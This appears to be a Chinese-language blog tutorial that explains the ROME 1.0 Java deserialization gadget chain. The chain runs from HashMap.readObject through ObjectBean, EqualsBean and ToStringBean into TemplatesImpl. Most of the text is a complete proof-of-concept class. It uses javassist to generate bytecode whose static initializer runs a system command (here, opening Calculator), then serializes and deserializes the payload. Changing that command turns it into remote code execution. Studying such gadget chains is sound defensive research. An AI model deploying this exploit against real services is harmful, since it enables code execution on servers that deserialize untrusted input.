Java-ROME

0x01 前言

1
2
3
4
5
<dependency>    
  <groupId>rome</groupId>    
  <artifactId>rome</artifactId>    
  <version>1.0</version>    
</dependency>  

ROME 是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象。
ROME 兼容了 RSS (0.90, 0.91, 0.92, 0.93, 0.94, 1.0, 2.0), Atom 0.3 以及 Atom 1.0 feeds 格式。

0x02 前置知识

com.sun.syndication.feed.impl.ObjectBean是 Rome 提供的一个封装类型,初始化时提供了一个 Class 类型和Object 对象实例进行封装。
ObjectBean 也是使用委托模式设计的类,其中有三个成员变量,分别是EqualsBean/ToStringBean/CloneableBean类,这三个类为ObjectBean提供了equalstoStringclone以及hashCode方法
来看一下ObjectBeanhashCode方法,会调用EqualsBeanbeanHashCode方法
会调用EqualsBean中保存的_objtoString()方法
这个ToStringBeantoString()方法可以触发_obj实例的全部getter方法,可以用来触发TemplatesImpl的利用链
HashMap中的readObject正好调用了hashCode()方法
构造exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import javassist.ClassPool;    
import javassist.CtClass;    
    
import java.io.IOException;    
import java.io.ByteArrayOutputStream;    
    
import javassist.CannotCompileException;    
import javassist.NotFoundException;    
    
import java.lang.reflect.Field;    
    
    
import java.util.UUID;    
    
import com.sun.syndication.feed.impl.ObjectBean;    
import com.sun.syndication.feed.impl.ToStringBean;    
    
import java.io.*;    
import java.util.Base64;    
    
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;    
    
import javax.xml.transform.Templates;    
import java.util.HashMap;    
    
public class Poc {    
    
    public static void main(String[] args) throws Exception {    
        byte[] code = getTemplates();    
        byte[][] codes = {code};    
        // TemplatesImpl    
        TemplatesImpl templates = new TemplatesImpl();    
        setFieldValue(templates, "_name", "useless");    
        setFieldValue(templates, "_tfactory", null);    
        setFieldValue(templates, "_bytecodes", codes);    
        ToStringBean toStringBean = new ToStringBean(Templates.class, templates);    
        ObjectBean objectBean = new ObjectBean(ToStringBean.class, toStringBean);    
        HashMap<Object, String> map = new HashMap<>();    
        map.put(objectBean, "huahua");    
        String payload = serialize(map);    
        unserialize(payload);    
    }    
    
    public static String serialize(Object object) throws IOException {    
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();    
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);    
        objectOutputStream.writeObject(object);    
        return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());    
    }    
    
    public static void unserialize(String base) throws IOException, ClassNotFoundException {    
        byte[] result = Base64.getDecoder().decode(base);    
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(result);    
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);    
        objectInputStream.readObject();    
    }    
    
    public static void setFieldValue(Object object, String field, Object arg) throws NoSuchFieldException, IllegalAccessException {    
        Field f = object.getClass().getDeclaredField(field);    
        f.setAccessible(true);    
        f.set(object, arg);    
    }    
    
    public static byte[] getTemplates() throws CannotCompileException, IOException, NotFoundException {    
        ClassPool classPool = ClassPool.getDefault();    
        // 生成一个随机的类名    
        String randomClassName = "Test_" + UUID.randomUUID().toString().replace("-", "");    
        CtClass ctClass = classPool.makeClass(randomClassName);    
        ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));    
        String block = "Runtime.getRuntime().exec(\"open -a Calculator\");";    
        ctClass.makeClassInitializer().insertBefore(block);    
        return ctClass.toBytecode();    
    }    
    
}  
0%